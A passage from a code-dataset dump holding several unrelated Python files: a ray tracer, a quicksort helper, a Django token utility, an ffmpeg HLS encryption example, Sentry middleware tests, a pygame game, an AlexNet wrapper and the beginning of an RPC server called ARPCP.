width))\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","sub_path":"scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"46761322","text":"def qs_index(ary, ind):\n return qsort(ary, ind, 0, len(ary)-1)\n\ndef qsort(ary, ind, left, right):\n # Quick sort\n if left >= right : return ary\n key1 = ary[left]\n key2 = ind[left]\n lp = left\n rp = right\n while lp < rp :\n while ary[rp] >= key1 and lp < rp :\n rp -= 1\n while ary[lp] <= key1 and lp < rp :\n lp += 1\n ary[lp], ary[rp] = ary[rp], ary[lp]\n ind[lp], ind[rp] = ind[rp], ind[lp]\n ary[left], ary[lp] = ary[lp], ary[left]\n ind[left], ind[lp] = ind[lp], ind[left]\n qsort(ary, ind, left, lp-1)\n qsort(ary, ind, rp+1, right)\n return ind","sub_path":"CommonFuns.py","file_name":"CommonFuns.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"219104834","text":"import numpy\nfrom PIL import Image as PilImage\n\ndef Norma_Vetor(vetor):\n norma = 0\n for indice in range(len(vetor)):\n norma = norma + vetor[indice] ** 2\n return norma ** (1 / 2)\n\ndef Calculo_Vetor_Unitario(vetor):\n vetor_unitario = vetor[:]\n norma_vetor = Norma_Vetor(vetor)\n for indice in range(len(vetor)):\n vetor_unitario[indice] = vetor[indice] / norma_vetor\n return vetor_unitario\n\ndef Calculo_Vetor_W(vet_a):\n vet_w = Calculo_Vetor_Unitario(vet_a)\n return vet_w\n\ndef Calculo_Vetor_T(vet_w):\n vet_t = vet_w[:]\n indice_menor_valor = 0\n for indice, valor in enumerate(vet_w):\n if (0 > abs(valor)):\n indice_menor_valor = indice\n vet_t[indice_menor_valor] = 1\n return vet_t\n\ndef Calculo_Vetor_U(vet_t, vet_w):\n vet_u = numpy.cross(vet_t, vet_w)\n # print(vet_u)\n vet_u = Calculo_Vetor_Unitario(vet_u)\n return vet_u\n\ndef Calculo_Vetor_V(vet_w, vet_u):\n vet_v = numpy.cross(vet_w, vet_u)\n return vet_v\n\ndef Criar_Matriz(colunas, linhas, valor):\n coluna = []\n linha = []\n for x in range(colunas):\n for y in range(linhas):\n linha.append(valor)\n coluna.append(linha)\n linha = []\n return coluna\n\ndef Calculo_Valore_U_V(matriz, colunas, linhas, l, r, b, t):\n matrizValores = matriz[:]\n for i in range(colunas):\n for j in range(linhas):\n u = (l + (r - l) * (i + 0.5))/colunas\n v = (b + (t - b) * (j + 0.5))/linhas\n matrizValores[i][j] = [u, v]\n return matrizValores\n\ndef Caso_Ortografico(matriz_valores_uv, colunas, linhas, vet_a, vet_w, vet_u, vet_v):\n matriz_result = matriz_valores_uv[:]\n direcao_raio = numpy.dot(vet_w, -1)\n for x in range(colunas):\n for y in range(linhas):\n comp_u = numpy.dot(vet_u, matriz_valores_uv[x][y][0])\n comp_v = numpy.dot(vet_v, matriz_valores_uv[x][y][1])\n # print(comp_u)\n # print(comp_v)\n origem_raio = vet_a + comp_u + comp_v\n # print(direcao_raio)\n # print(origem_raio,\"\\n\")\n matriz_result[x][y] = [direcao_raio, origem_raio]\n # print(matriz_result[x][y]+\"\\n\")\n return matriz_result\n\ndef Caso_Obliquo(matriz_valores_uv, colunas, linhas, vet_a, vet_w, vet_u, vet_v, dist):\n matriz_result = matriz_valores_uv[:]\n origem_raio = vet_a[:]\n for x in range(colunas):\n for y in range(linhas):\n aux = numpy.dot(vet_w, -dist)\n comp_u = numpy.dot(vet_u, matriz_valores_uv[x][y][0])\n comp_v = numpy.dot(vet_v, matriz_valores_uv[x][y][1])\n direcao_raio = aux + comp_u + comp_v\n matriz_result[x][y] = [origem_raio, direcao_raio]\n # print(matriz_result[x][y])\n return matriz_result\n\ndef Calculo_Delta(matriz_caso, matriz_img, colunas, linhas, esferas, luz, intensidade, potencia):\n matriz_t = Criar_Matriz(colunas, linhas, 999999999999999999)\n matriz_cor = matriz_img[:]\n for x in range(colunas):\n for y in range(linhas):\n for esfera in esferas:\n direcao = matriz_caso[x][y][0]\n origem = matriz_caso[x][y][1]\n centro = esfera[0]\n raio = esfera[1]\n cor = esfera[2]\n\n a = numpy.dot(direcao, direcao)\n b = 2 * (numpy.dot(direcao, (origem - centro)))\n c = numpy.dot((origem - centro), (origem - centro)) - raio ** 2\n\n delta = (b ** 2) - 4 * a * c\n\n if delta >= 0:\n t1 = ((-b) + (delta ** 1/2)) / (2 * a)\n t2 = ((-b) - (delta ** 1/2)) / (2 * a)\n t1 = abs(t1)\n t2 = abs(t2)\n t = min(t1, t2)\n\n if t < matriz_t[x][y]:\n matriz_t[x][y] = t\n ponto = origem + (direcao * t)\n vetor_l = (luz - ponto)\n vetor_l = Calculo_Vetor_Unitario(vetor_l)\n vetor_n = (ponto - centro)\n vetor_n = Calculo_Vetor_Unitario(vetor_n)\n aux = numpy.dot(vetor_n, vetor_l)\n lambert = Calculo_Lambert(cor, intensidade, aux)\n\n vetor_h = direcao - vetor_l\n vetor_h = Calculo_Vetor_Unitario(vetor_h)\n vetorial_n_h = numpy.dot(vetor_n, vetor_h)\n\n blinn_phong = Calculo_Blinn_Phong(lambert, cor_ambiente, intensidade_ambiente, vetorial_n_h, potencia)\n\n matriz_cor[x][y] = blinn_phong\n return matriz_cor\n\ndef Calculo_Lambert(cor, intensidade, vetorial_n_l):\n lambert = [0, 0, 0]\n lambert[0] = int(cor[0] * intensidade * max(0, vetorial_n_l) + (cor_ambiente[0] * intensidade_ambiente))\n lambert[1] = int(cor[1] * intensidade * max(0, vetorial_n_l) + (cor_ambiente[1] * intensidade_ambiente))\n lambert[2] = int(cor[2] * intensidade * max(0, vetorial_n_l) + (cor_ambiente[2] * intensidade_ambiente))\n return lambert\n\ndef Calculo_Blinn_Phong(lambert, cor_amb, intensidade_amb, vetorial_n_h, potencia):\n blinn_phong = [0, 0, 0]\n blinn_phong[0] = int(lambert[0] + intensidade_amb * cor_amb[0] + max(0, vetorial_n_h) ** potencia)\n blinn_phong[1] = int(lambert[1] + intensidade_amb * cor_amb[1] + max(0, vetorial_n_h) ** potencia)\n blinn_phong[2] = int(lambert[2] + intensidade_amb * cor_amb[2] + max(0, vetorial_n_h) ** potencia)\n return blinn_phong\n\n\ndef Cria_Imagem(matriz_img, colunas, linhas):\n img = PilImage.new('RGB', (colunas, linhas))\n imagem = img.load()\n for x in range(colunas):\n for y in range(linhas):\n imagem[x, y] = (matriz_img[x][y][0],\n matriz_img[x][y][1],\n matriz_img[x][y][2])\n img.show()\n img.save(\"resultado.jpg\")\n\n# Valores dos lados do plano da imagem\nleft = -13\nright = 13\ntop = 10\nbottom = -10\ndistancia = 4\n\ndirecao_luz = [-10, 20, 30]\nintensidade_luz = 1\n\ncor_ambiente = [0, 250, 0]\nintensidade_ambiente = 0.1\npotencia_BP = 0.15\n\n# Declaração de vetores que serão usados\nvetor_a = [10, 10, 10]\nvetor_w = [0, 0, 0]\nvetor_t = [0, 0, 0]\nvetor_v = [0, 0, 0]\nvetor_u = [0, 0, 0]\nnum_colunas = 640\nnum_linhas = 480\nlista_esferas = [[[2, -15, 0], 2, [250, 50, 100]],\n [[10, -15, 0], 2, [50, 250, 150]]]\n\n# [4, -5, 0] [2, -5, 0] [2, -15, 0]\n\nprint(\"Calculando Vetores W, T, U e V...\\n\")\nvetor_w = Calculo_Vetor_W(vetor_a)\nvetor_t = Calculo_Vetor_T(vetor_w)\nvetor_u = Calculo_Vetor_U(vetor_t, vetor_w)\nvetor_v = Calculo_Vetor_V(vetor_w, vetor_u)\n# print(\"\"\"Vetores A, W, T, U e V\n# A = {}\n# W = {}\n# T = {}\n# U = {}\n# V = {}\n# \"\"\".format(vetor_a, vetor_w, vetor_t, vetor_u, vetor_v))\n\nprint(\"Calculando Valores u e v...\")\nmatriz_uv = Criar_Matriz(num_colunas, num_linhas, 0)\nmatriz_uv = Calculo_Valore_U_V(matriz_uv, num_colunas, num_linhas, left, right, bottom, top)\n\nprint(\"Calculando origem e direção do caso ortográfico...\")\nmatriz_caso_orto = Caso_Ortografico(matriz_uv, num_colunas, num_linhas, vetor_a, vetor_w, vetor_u, vetor_v)\n\nprint(\"Calculando o delta, lambert e blinn-pong...\")\nmatriz_imagem = Criar_Matriz(num_colunas, num_linhas, [0, 0, 0])\nmatriz_imagem = Calculo_Delta(matriz_caso_orto, matriz_imagem, num_colunas, num_linhas, lista_esferas, direcao_luz, intensidade_luz, potencia_BP)\n\n# print(\"Calculando origem e direção do caso oblíquo...\")\n# matriz_caso_obliquo = Caso_Obliquo(matriz_uv, num_colunas, num_linhas, vetor_a, vetor_w, vetor_u, vetor_v, distancia)\n\n# print(\"Calculando o delta...\")\n# matriz_imagem = Criar_Matriz(num_colunas, num_linhas, [0, 0, 0])\n# matriz_imagem = Calculo_Delta(matriz_caso_obliquo, num_colunas, num_linhas, centro_esfera, raio_esfera)\n\nprint(\"Criando a imagem...\")\nCria_Imagem(matriz_imagem, num_colunas, num_linhas)\n","sub_path":"ray_tracing/ray_tracing.py","file_name":"ray_tracing.py","file_ext":"py","file_size_in_byte":7924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"323334265","text":"# 对用户openid进行加密解密\nfrom itsdangerous import TimedJSONWebSignatureSerializer as Serializer\nfrom django.conf import settings\nfrom oauth import constants\nfrom itsdangerous import BadData\n\n\n\n# 签名,序列化openid\ndef generate_access_token(openid):\n\n # 创建序列化对象:第一个参数是秘钥,越复杂越安全。第二个参数是过期时间\n s = Serializer(settings.SECRET_KEY, constants.ACCESS_TOKEN_EXPIRES)\n\n # 准备待序列化的字典数据\n data = {\n 'openid': openid\n }\n\n # 调用dumps方法进行序列化,返回类型是byte\n token = s.dumps(data)\n\n # 转成字符串并返回\n return token.decode()\n\n\n# 反序列化,解码\ndef check_access_token(access_token_openid):\n s = Serializer(settings.SECRET_KEY, constants.ACCESS_TOKEN_EXPIRES)\n\n try:\n data = s.loads(access_token_openid)\n except BadData: # 密文过期\n return None\n else: # 未过期,返回明文\n return data.get('openid')\n\n\n\n","sub_path":"meiduo_mall/meiduo_mall/apps/oauth/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"389157541","text":"import os\nimport sys\nimport ffmpeg_streaming\n\n\ndef progress(percentage, ffmpeg, media):\n # You can update a field in your database\n # You can also create a socket connection and show a progress bar to users\n sys.stdout.write(\"\\r Transcoding... (%s%%)[%s%s]\" % (percentage, '#' * percentage, '-' * (100 - percentage)))\n sys.stdout.flush()\n\n\ndef create_encrypted_hls_files(_input, _output, url_to_key, save_to, __progress=None):\n (\n ffmpeg_streaming\n .hls(_input)\n .encryption(url_to_key, save_to)\n .format('libx264')\n .auto_rep()\n .package(_output, __progress)\n )\n\n\nif __name__ == \"__main__\":\n name = os.path.basename(__file__).split('.')[0]\n current_dir = os.path.dirname(os.path.abspath(__file__))\n\n _input = os.path.join(current_dir, '_example.mp4')\n _output = os.path.join(current_dir, name, 'output')\n\n # The full pathname of the file where a random key will be created\n # Note: The path of the key should be accessible from your website(e.g. '/var/www/public_html/keys/enc.key')\n _save_to = os.path.join(current_dir, 'enc.key')\n\n # A URL (or a path) to access the key on your website\n # It is highly recommended to protect the key on your website(e.g using a token or check a session/cookie)\n _url_to_key = 'https://www.aminyazdanpanah.com/keys/enc.key'\n # or _url_to_key = '/keys/enc.key'\n\n _progress = progress\n\n create_encrypted_hls_files(_input, _output, _url_to_key, _save_to, _progress)\n","sub_path":"examples/hls_encryption.py","file_name":"hls_encryption.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"146548901","text":"from __future__ import absolute_import\n\nfrom exam import fixture\nfrom django.http import HttpRequest, HttpResponse, StreamingHttpResponse\n\nfrom sentry.testutils import TestCase\nfrom sentry.middleware.proxy import (ContentLengthHeaderMiddleware, SetRemoteAddrFromForwardedFor)\n\n\nclass ContentLengthHeaderMiddlewareTest(TestCase):\n middleware = fixture(ContentLengthHeaderMiddleware)\n\n def test_simple(self):\n response = self.middleware.process_response(None, HttpResponse('lol'))\n assert response['Content-Length'] == '3'\n assert 'Transfer-Encoding' not in response\n\n def test_streaming(self):\n response = self.middleware.process_response(None, StreamingHttpResponse())\n assert 'Transfer-Encoding' not in response\n assert 'Content-Length' not in response\n\n\nclass SetRemoteAddrFromForwardedForTestCase(TestCase):\n middleware = fixture(SetRemoteAddrFromForwardedFor)\n\n def test_ipv4(self):\n request = HttpRequest()\n request.META['HTTP_X_FORWARDED_FOR'] = '8.8.8.8:80,8.8.4.4'\n self.middleware.process_request(request)\n assert request.META['REMOTE_ADDR'] == '8.8.8.8'\n\n def test_ipv4_whitespace(self):\n request = HttpRequest()\n request.META['HTTP_X_FORWARDED_FOR'] = '8.8.8.8:80 '\n self.middleware.process_request(request)\n assert request.META['REMOTE_ADDR'] == '8.8.8.8'\n\n def test_ipv6(self):\n request = HttpRequest()\n request.META['HTTP_X_FORWARDED_FOR'] = '2001:4860:4860::8888,2001:4860:4860::8844'\n self.middleware.process_request(request)\n assert request.META['REMOTE_ADDR'] == '2001:4860:4860::8888'\n","sub_path":"tests/sentry/middleware/test_proxy.py","file_name":"test_proxy.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"337188240","text":"#Python Project 08\r\nbuah = {'apel' : 5000,\r\n 'jeruk' : 8500,\r\n 'mangga' : 7800,\r\n 'duku' : 6500}\r\n\r\ndef rerataHargaBuah(buah) :\r\n zigma = 0\r\n jumlah = 0\r\n \r\n for x,y in buah.items() :\r\n zigma += y\r\n jumlah += 1\r\n\r\n rerata = zigma / jumlah\r\n return rerata\r\n\r\ndef ratarataHargaBuah(buah) :\r\n harga = list(buah.values())\r\n rata = sum(harga) / len(harga)\r\n return rata\r\n\r\na = rerataHargaBuah(buah)\r\nb = ratarataHargaBuah(buah)\r\n\r\nprint(a)\r\nprint(b)\r\n","sub_path":"Python Project 08.py","file_name":"Python Project 08.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"97051995","text":"import pygame\r\nimport sys\r\nimport components as c\r\nimport color as clr\r\nimport Text\r\nimport button\r\n\r\npygame.init()\r\npygame.font.init()\r\n\r\n#The class MainGame is called a singleton class or singleton object, that means that there can only\r\n#exist one instance of this object \"MainGame\". In here we we define the entire game we want to build,\r\n#in the def __init__ we initialize the attributes that make up the game, in example:\r\n#Title, game window size(height x width), a default font, background color and all the players and enemy objects\r\n\r\n#The run method (def run:) specifies the game loop, this loop is responsible for everthing what happens in the game.\r\n#The things this method does are:\r\n#Check for keyboard input, draw the characters on the screen and all the character updates and opperations such as jump, move and gravity\r\n\r\nclass MainGame:\r\n def __init__(self, title, width, height):\r\n #The basic parameters wich make up the game\r\n self.Title = title\r\n self.Height = height\r\n self.Width = width\r\n self.Screen = pygame.display.set_mode((self.Width, self.Height))\r\n\r\n #This is to initialize the framerate (fps)\r\n self.Clock = pygame.time.Clock()\r\n\r\n #This color is a refrence to the color object, in there all different colors are defined\r\n self.Color = clr.Color()\r\n self.DefaultFont = pygame.font.SysFont(None,30)\r\n\r\n self.InfoText = Text.Text(self.Color.Black, self.DefaultFont, \"Score 3 points to go to the next level, press space to fly!\")\r\n\r\n #Create all game characters here\r\n self.Player1 = c.Component(c.Position(400,250), \"enemy.png\")\r\n \r\n #Empty list of enemies, this will be filled during the game \r\n #This is a special kind of list called an array, each element in the array has an unique Index\r\n #indeces start from 0, by calling Enemies[3] you call enemy in position number 3\r\n #!!!!BECAREFULL WITH THE BOUNDS: When the index does not exist you will get an error, always check if the IndexError\r\n #exists before calling it.\r\n self.Enemies = []\r\n\r\n\r\n def update(self):\r\n #Get keyboard input, checks if a certain key is pressed or not and get mouse Position\r\n keys = pygame.key.get_pressed()\r\n\r\n\r\n #Player opperations\r\n self.Player1.gravity(self.Height, 10)\r\n if keys[pygame.K_SPACE] and self.Player1.ImageRect.y > 0:\r\n self.Player1.jump(20, self.Height)\r\n\r\n #Enemy opperations\r\n if len(self.Enemies) < 1: self.Enemies.append(c.Component(c.Position(self.Width-100, 300), \"knight.png\"))\r\n\r\n for enemy in self.Enemies: \r\n enemy.gravity(self.Height, 10)\r\n enemy.update(-25,0)\r\n \r\n if enemy.ImageRect.x < 0: self.Enemies.remove(enemy)\r\n if enemy.intersection(self.Player1.ImageRect.x, self.Player1.ImageRect.y, self.Player1.ImageRect.height, self.Player1.ImageRect.width):\r\n self.Player1.Score -= 1\r\n self.Player1.jump(200, self.Height)\r\n if enemy.ImageRect.x == self.Player1.ImageRect.x: \r\n self.Player1.Score += 1\r\n\r\n def draw(self):\r\n #Set the background color of the pygame window, HINT: See what happens when you remove this line\r\n self.Screen.fill(self.Color.White)\r\n self.InfoText.draw(self.Screen, 120, 80)\r\n \r\n #Draw Player 1\r\n self.Player1.draw(self.Screen)\r\n self.Player1.display_position(self.Screen, self.DefaultFont, self.Color.Green)\r\n self.Player1.display_score(self.Screen, self.DefaultFont, self.Color.Red)\r\n\r\n #Draw all enemies in the list\r\n for enemy in self.Enemies:\r\n enemy.draw(self.Screen)\r\n enemy.display_position(self.Screen, self.DefaultFont, self.Color.Blue)\r\n\r\n def run(self):\r\n #The game will end when the score reaches 3\r\n while self.Player1.Score < 3:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT: sys.exit()\r\n\r\n self.update()\r\n self.draw()\r\n\r\n self.Clock.tick(30)\r\n pygame.display.flip()\r\n pygame.display.set_caption(self.Title)\r\n\r\n#To test only a single game, uncomment this code and run python .pygame\r\n#Short cut: CTRL + K + C (Comment) CTRL + K + U (uncomment)\r\nif __name__ == \"__main__\":\r\n test_game = MainGame(\"Test instance\", 1200,600)\r\n test_game.run() \r\n\r\n","sub_path":"game2.py","file_name":"game2.py","file_ext":"py","file_size_in_byte":4485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"34081234","text":"import torch\nimport torch.nn as nn\nimport torchvision\nfrom torchvision import models\n\n\nclass myModel(nn.Module):\n\tdef __init__(self):\n\t\tsuper(myModel,self).__init__()\n\t\talexnet = models.alexnet(pretrained=True)\n\t\tself.conv1 = alexnet.features[0]\n\t\tself.relu1 = alexnet.features[1]\n\t\tself.maxpool1 = alexnet.features[2]\n\t\tself.conv2 = alexnet.features[3]\n\t\tself.relu2 = alexnet.features[4]\n\t\n\tdef forward(self,x):\n\t\tout1 = self.conv1(x)\n\t\tout1 = self.relu1(out1)\n\t\tout1 = self.maxpool1(out1)\n\t\tout1 = self.conv2(out1)\n\t\tout1 = self.relu2(out1)\n\t\t\n\t\treturn out1\n\n\tdef getOutputs(self,x):\n\n\t\t'''\n\t\tGet outputs for all videos and frames\n\t\t'''\n\t\t#FCNoutputs = torch.zeros(x.shape[0], x.shape[1], 192, 27, 27)\n\t\tFCNoutputs = [torch.zeros(image.shape[0], 192, 27, 27) for image in x]\n\n\t\t\"\"\"for v in range(x.shape[0]):\n\t\t\tinp = x[v,:,:,0:224,0:224]\n\t\t\toutput = self.forward(inp)\n\t\t\tFCNoutputs[v,:] = output\"\"\"\n\t\tfor v in range(len(x)):\n\t\t\tinp = x[v][:,:,0:224,0:224]\n\t\t\t#print(\"here\", inp.shape)\n\t\t\toutput = self.forward(inp)\n\t\t\tFCNoutputs[v][:] = output\n\n\t\treturn FCNoutputs\n","sub_path":"project/code/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"435409961","text":"#!/usr/bin/python3 -B\n\nimport os\nimport sys\nimport uuid\nimport time\nimport yaml\nimport json\nimport types\nimport redis\nimport socket\nimport threading as th\nfrom importlib import reload\n\nimport procedures\nimport callbacks\n\nVERSION = \"1.0\"\nERROR = True\nLOG = 30\n# 0,False - without logging\n# 10 - necessary logging\n# 20 - logging without low-level methods\n# 30 - Full logging\n\n# @TODO\n# - all redis ops do with pipelines!!! (conqurent writing into redis)\n# - try...except for all redis.get ops\n# - difficulties with simultaneously client & server logging\n# - try...except for ARPCP.connect()\n\n# ==============================================================================\n\ndef log_print(extent, message = None, done = False, fail = False, end = \"\\n\"):\n\ttry:\n\t\tif LOG and (LOG >= extent):\n\t\t\tif done:\n\t\t\t\tprint(\"Done\")\n\t\t\telif fail:\n\t\t\t\tprint(\"Fail\")\n\t\t\telse:\n\t\t\t\tprint(f\"[{time.ctime()}] {message}\", end = end)\n\texcept:\n\t\tpass\n\ndef error_print(message):\n\ttry:\n\t\tif ERROR:\n\t\t\tprint(f\"[{time.ctime()}] [ERROR] {message}\")\n\texcept:\n\t\tpass\n\ndef traffic_print(message, message_type):\n\ttry:\n\t\tif LOG:\n\t\t\tif message_type is ARPCP.MT_REQ:\n\t\t\t\tprint(f\"[{time.ctime()}] <=== {message}\")\n\t\t\telif message_type is ARPCP.MT_RES:\n\t\t\t\tprint(f\"[{time.ctime()}] ===> {message}\")\n\texcept:\n\t\tpass\n\n# ==============================================================================\n\nclass ConfigReader:\n\tdef __init__(self, config_file):\n\t\tlog_print(extent=20, message=\"loading config_file...\", end = \"\")\n\t\twith open(config_file) as c:\n\t\t\tself.config = yaml.safe_load(c)\n\t\tlog_print(extent=20, done=True)\n\ntry:\n\tCONFIG = ConfigReader(\"arpcp.conf.yml\").config\nexcept:\n\tCONFIG = {\n\t\t\"server\": {\n\t\t\t\"host\": \"0.0.0.0\",\n\t\t\t\"port\": 7018,\n\t\t\t\"connection_queue_size\": 1,\n\t\t\t\"max_workers_count\": 100,\n\t\t\t\"threadname_prefix\": \"ARPCP\",\n\t\t\t\"master_threadname\": \"server\",\n\t\t\t\"worker_threadname\": \"worker\"\n\t\t},\n\t\t\"redis\": {\n\t\t\t\"host\": \"127.0.0.1\",\n\t\t\t\"port\": 6379\n\t\t},\n\t\t\"controller\": {\n\t\t\t\"max_dc\": 1\n\t\t}\n\t}\n\nSERVER_CONFIGS = CONFIG[\"server\"]\nADDR_CONF = (SERVER_CONFIGS[\"host\"],SERVER_CONFIGS[\"port\"])\n\nREDIS_HOST = CONFIG[\"redis\"][\"host\"]\nREDIS_PORT = CONFIG[\"redis\"][\"port\"]\n\n# ==============================================================================\n\nclass ARPCPException(Exception):\n\tdef __init__(self, errno, errmsg):\n\t\tself.args = (errno, errmsg)\n\t\tself.errno = errno\n\t\tself.errmsg = errmsg\n\n# ==============================================================================\n\nclass ARPCP:\n\n\t# ----- arpcp constants ----------------------------------------------------\n\n\tproto = {\n\t\t\"request\": {\n\t\t\t\"requires\": [\"method\", \"version\"],\n\t\t\t\"methods\": {\n\t\t\t\t\"procedures\": [],\n\t\t\t\t\"id\": [],\n\t\t\t\t\"task\": [\"remote_procedure\",\"remote_procedure_args\",\"task_id\"],\n\t\t\t\t\"result\": [\"task_id\", \"task_status\", \"task_result\"],\n\t\t\t\t\"signal\": [\"task_id\"],\n\t\t\t\t\"atask\": [\"remote_procedure\",\"remote_procedure_args\",\"task_id\"],\n\t\t\t\t\"test_method\": []\n\t\t\t}\n\t\t},\n\t\t\"response\": {\n\t\t\t\"requires\": [\"code\", \"description\", \"data\"],\n\t\t}\n\t}\n\n\ttask_statuses = [\n\t\t\"created\",\n\t\t\"sent_to_agent\",\n\t\t\"successfully_registered\",\n\t\t\"unregistered\",\n\t\t\"executing\",\n\t\t\"done\",\n\t\t\"execution_error\",\n\t\t\"callback_error\",\n\t\t\"unknown_error\"\n\t]\n\n\tMT_REQ = 0\n\tMT_RES = 1\n\n\t# ----- low-level methods for processing a connection ----------------------\n\n\t@staticmethod\n\tdef redis(host = \"127.0.0.1\", port = 6379):\n\t\treturn redis.Redis(host = host, port = port, decode_responses = True)\n\n\n\t@staticmethod\n\tdef erase_task_from_redis(r, task_id):\n\t\ttry:\n\t\t\t# remove from assigned tasks\n\t\t\tif r.exists(\"ARPCP:tasks:assign\"):\n\t\t\t\tassigned_tasks = json.loads(r.get(\"ARPCP:tasks:assign\"))\n\t\t\t\tif task_id in assigned_tasks:\n\t\t\t\t\tassigned_tasks.remove(task_id)\n\t\t\t\t\tr.set(\"ARPCP:tasks:assign\", json.dumps(assigned_tasks))\n\t\t\t# remove from executed tasks\n\t\t\tif r.exists(\"ARPCP:tasks:execute\"):\n\t\t\t\texecuted_tasks = json.loads(r.get(\"ARPCP:tasks:execute\"))\n\t\t\t\tif task_id in executed_tasks:\n\t\t\t\t\texecuted_tasks.remove(task_id)\n\t\t\t\t\tr.set(\"ARPCP:tasks:execute\", json.dumps(executed_tasks))\n\t\t\t# remove all keys\n\t\t\tr.delete(f\"ARPCP:task:{task_id}:message\")\n\t\t\tr.delete(f\"ARPCP:task:{task_id}:status\")\n\t\t\tr.delete(f\"ARPCP:task:{task_id}:host_addr\")\n\t\t\tr.delete(f\"ARPCP:task:{task_id}:caller_ip\")\n\t\t\tr.delete(f\"ARPCP:task:{task_id}:callback\")\n\t\t\tr.delete(f\"ARPCP:task:{task_id}:result\")\n\t\texcept:\n\t\t\treturn\n\n\n\t@staticmethod\n\tdef socket(local_host, local_port, connection_queue_size, timeout = 0.1):\n\t\tlog_print(extent=30, message=\"creating server socket..\")\n\t\tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\t\tsock.bind((local_host, local_port,))\n\t\tlog_print(extent=30, message=f\"server socket binded to {local_host}:{local_port}\")\n\t\tsock.listen(connection_queue_size)\n\t\tlog_print(extent=30, message=f\"max queue to server socket {connection_queue_size}\")\n\t\tsock.settimeout(timeout) # setblocking(False) <-> settimeout(0)\n\t\tlog_print(extent=30, message=f\"timeout for server socket {timeout}\")\n\t\tlog_print(extent=30, message=\"server socket created\")\n\t\treturn sock\n\n\n\t@staticmethod\n\tdef accept(sock):\n\t\tconn, addr = sock.accept()\n\t\treturn conn, addr\n\n\n\t@staticmethod\n\tdef close(sock):\n\t\tlog_print(extent=30, message=\"closing socket...\", end=\"\")\n\t\tsock.close()\n\t\tlog_print(extent=30, done = True)\n\n\n\t@staticmethod\n\tdef connect(remote_host, remote_port, timeout = 5):\n\t\tlog_print(extent=30, message=\"creating client socket..\")\n\t\tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tsock.settimeout(timeout)\n\t\tlog_print(extent=30, message=f\"timeout for server socket {timeout}\")\n\t\tlog_print(extent=30, message=\"client socket created\")\n\t\tlog_print(extent=30, message=f\"connecting to {remote_host}:{remote_port}...\", end=\"\")\n\t\tsock.connect((remote_host, remote_port,))\n\t\tlog_print(extent=30, done=True)\n\t\treturn sock\n\n\t# ----- methods for receiving and sending arpcp messages -------------------\n\n\t@staticmethod\n\tdef parse_data(data, message_type):\n\t\tlog_print(extent=30, message=\"parsing data..\")\n\t\t# params validation\n\t\tif (message_type != ARPCP.MT_REQ) and (message_type != ARPCP.MT_RES):\n\t\t\traise ARPCPException(None, \"invalid message type\")\n\t\t# parsing\n\t\tif message_type is ARPCP.MT_REQ:\n\t\t\ttry:\n\t\t\t\tmessage = json.loads(data.decode(\"utf-8\"))\n\t\t\t\tif not type(message) is dict:\n\t\t\t\t\traise Exception\n\t\t\texcept:\n\t\t\t\traise ARPCPException(400, \"bad request\")\n\t\t\tif set(ARPCP.proto[\"request\"][\"requires\"]).issubset(set(message.keys())):\n\t\t\t\tmethod = message[\"method\"]\n\t\t\t\ttry:\n\t\t\t\t\tmethod_headers = ARPCP.proto[\"request\"][\"methods\"][method]\n\t\t\t\texcept:\n\t\t\t\t\traise ARPCPException(401, f\"method {method} is unsupported\")\n\t\t\t\tif not set(method_headers).issubset(set(message.keys())):\n\t\t\t\t\traise ARPCPException(402, f\"request message for '{method}' has no required headers for that method\")\n\t\t\telse:\n\t\t\t\traise ARPCPException(403, \"request message has no required headers\")\n\t\telif message_type is ARPCP.MT_RES:\n\t\t\ttry:\n\t\t\t\tmessage = json.loads(data.decode(\"utf-8\"))\n\t\t\t\tif not type(message) is dict:\n\t\t\t\t\traise Exception\n\t\t\texcept:\n\t\t\t\traise ARPCPException(1200, \"bad response\")\n\t\t\tif not set(ARPCP.proto[\"response\"][\"requires\"]).issubset(set(message.keys())):\n\t\t\t\traise ARPCPException(1201, \"response message has no required headers\")\n\t\tlog_print(extent=30, message=\"data parsed!\")\n\t\treturn message\n\n\n\t@staticmethod\n\tdef receive_message(sock, message_type):\n\t\tlog_print(extent=20, message=\"receiving message..\")\n\t\t# params validation\n\t\tif (message_type != ARPCP.MT_REQ) and (message_type != ARPCP.MT_RES):\n\t\t\tARPCP.close(sock)\n\t\t\traise ARPCPException(None, \"invalid message type\")\n\t\t# reading data from socket\n\t\tlog_print(extent=20, message=\"reading data from socket..\")\n\t\ttry:\n\t\t\twith sock.makefile(\"rb\") as socketfile:\n\t\t\t\tdata = socketfile.readline()\n\t\texcept Exception as e:\n\t\t\tif message_type == ARPCP.MT_REQ:\n\t\t\t\tARPCP.close(sock)\n\t\t\t\terror_print(str(e))\n\t\t\t\treturn None\n\t\t\telif message_type == ARPCP.MT_RES:\n\t\t\t\tARPCP.close(sock)\n\t\t\t\terror_print(str(e))\n\t\t\t\treturn {\"code\": 1300, \"description\": str(e), \"data\": None}\n\t\tlog_print(extent=20, message=\"data read!\")\n\t\t# parse data to 